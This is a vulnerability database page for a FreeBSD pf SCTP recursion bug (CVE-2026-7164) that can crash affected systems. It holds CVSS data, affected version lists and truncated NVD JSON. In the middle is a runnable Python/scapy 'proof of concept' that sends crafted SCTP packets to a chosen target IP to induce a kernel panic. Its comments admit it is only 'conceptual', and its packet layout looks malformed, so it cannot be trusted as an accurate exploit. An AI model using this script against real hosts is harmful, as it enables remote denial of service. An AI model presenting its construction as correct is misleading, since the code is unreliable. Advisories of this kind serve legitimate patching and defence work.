CVE-2026-7164

Description

Incorrect packet validation allowed unbounded recursion parsing SCTP chunk parameters. This can eventually result in a stack overflow and panic. Remote attackers can craft packets which cause affected systems to panic. This affects any system where pf is configured to process traffic, independent of the configured ruleset.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:freebsd:freebsd:13.5:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:13.5:beta3:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:13.5:p1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:13.5:p10:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:freebsd:freebsd:13.5:p11:*:*:*:*:*:* - VULNERABLE

FreeBSD (具体受影响版本请参考FreeBSD-SA-26:14)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-7164
# This script attempts to trigger the unbounded recursion in FreeBSD pf
# by sending a crafted SCTP packet with deeply nested parameters.
# Note: Actual nesting structure may vary based on specific implementation.

import sys
from scapy.all import *

def craft_malicious_sctp(target_ip):
    # Base IP layer
    ip = IP(dst=target_ip)
    
    # SCTP layer
    sctp = SCTP(sport=5000, dport=5000, tag=0xabcdef)
    
    # Craft a parameter that simulates deep nesting
    # This is a conceptual representation of the trigger
    # Type: 0x0001 (IPv4), Length: 0x0008
    param_header = b"\x00\x01\x00\x08"
    # Payload simulating recursion pointer or nested data
    param_payload = b"\xFF\xFF\xFF\xFF"
    
    # Combine chunks to simulate the malformed packet structure
    # In a real exploit, the specific chunk type would be chosen
    # to force the parser into the recursive function.
    malicious_chunk = param_header + param_payload * 50  
    
    packet = ip / sctp / Raw(malicious_chunk)
    return packet

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: python {sys.argv[0]} <target_ip>")
        sys.exit(1)
    
    target = sys.argv[1]
    pkt = craft_malicious_sctp(target)
    
    print(f"[*] Sending malicious SCTP packet to {target}...")
    send(pkt)
    print("[*] Packet sent. Check target for kernel panic.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7164
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7164
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7164/
[4] VulDB https://vuldb.com/cve/CVE-2026-7164
[5] https://security.freebsd.org/advisories/FreeBSD-SA-26:14.pf.asc

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7164", "sourceIdentifier": "[email protected]", "published": "2026-04-30T08:16:07.653", "lastModified": "2026-05-01T12:46:59.050", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect packet validation allowed unbounded recursion parsing SCTP chunk parameters. This can eventually result in a stack overflow and panic.\n\nRemote attackers can craft packets which cause affected systems to panic. This affects any system where pf is configured to process traffic, independent of the configured ruleset."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-674"}, {"lang": "en", "value": "CWE-791"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:-:*:*:*:*:*:*", "matchCriteriaId": "947F561E-AD65-43B9-94C1-3109A3D35248"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:beta3:*:*:*:*:*:*", "matchCriteriaId": "4216D505-95A5-4FCC-8B9A-26FCD32B0445"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p1:*:*:*:*:*:*", "matchCriteriaId": "3D1987F1-1E08-4B28-8D16-D25A091D99ED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p10:*:*:*:*:*:*", "matchCriteriaId": "4C859EE2-59C0-4234-BFF0-7794AC4956DD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p11:*:*:*:*:*:*", "matchCriteriaId": "D1CEB391-5FA3-4FFD-9279-113093DD500D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p12:*:*:*:*:*:*", "matchCriteriaId": "EE54A637-BD2A-42F2-A155-CF3D4292B32D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p2:*:*:*:*:*:*", "matchCriteriaId": "BEC1E8A0-0402-45F1-938D-FEFDCFC3E747"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p3:*:*:*:*:*:*", "matchCriteriaId": "D94457D6-738F-4ABB-BD46-F2B621531FE2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p4:*:*:*:*:*:*", "matchCriteriaId": "8C38CB56-B80C-4D1B-9267-16E8F985B170"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p5:*:*:*:*:*:*", "matchCriteriaId": "13DF1E38-5E8D-42FF-A4C5-092300864F3E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p6:*:*:*:*:*:*", "matchCriteriaId": "83A86F81-0965-4600-835A-496756137998"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p7:*:*:*:*:*:*", "matchCriteriaId": "987E31A4-7E21-471E-A3EA-4E53FFDB3DFB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p8:*:*:*:*:*:*", "matchCriteriaId": "9FBFE8B3-DC7C-4394-B062-C40E201EC059"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p9:*:*:*:*:*:*", "matchCriteriaId": "563C1D65-625D-43FC-A7A0-75B1E2163C40"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:-:*:*:*:*:*:*", "matchCriteriaId": "9DC7C54E-58AF-4ADE-84AF-0EF0F325E20E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p1:*:*:*:*:*:*", "matchCriteriaId": "D3D22B8C-36CF-4800-9673-0B0240558BDD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p10:*:*:*:*:*:*", "matchCriteriaId": "7296F5AA-F8C1-4277-A4EE-C2B24073A320"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p11:*:*:*:*:*:*", "matchCriteriaId": "C30E4A9C-0594-4F40-92B3-26CB9AA85AE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p2:*:*:*:*:*:*", "matchCriteriaId": "242FA2A8-5D7D-4617-A411-2651FF3A3E4C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p3:*:*:*:*:*:*", "matchCriteriaId": "40573F60-F3B7-4AEC-846A-B08E5B7D9D00"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p4:*:*:*:*:*:*", "matchCriteriaId": "1FB832CE-0A98-44A2-8BAC-CD38A64279B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p5:*:*:*:*:*:*", "matchCriteriaId": "9A785F8E-C218-41AE-8D57-BF06DDAEF7CB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p6:*:*:*:*:*:*", "matchCriteriaId": "C3909FDD-B2A2-45B6-A40B-1D303A717F15"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p7:*:*:*:*:*:*", "matchCriteriaId": "720597A2-F181-46E1-8A0D-097E17ADC4FB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p8:*:*:*:*:*:*", "matchCriteriaId": "DC8A75D0-148A-427A-9783-45477EABED21"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p9:*:*:*:*:*:*", "matchCriteriaId": "F5D39FC9-6DBA ... (truncated)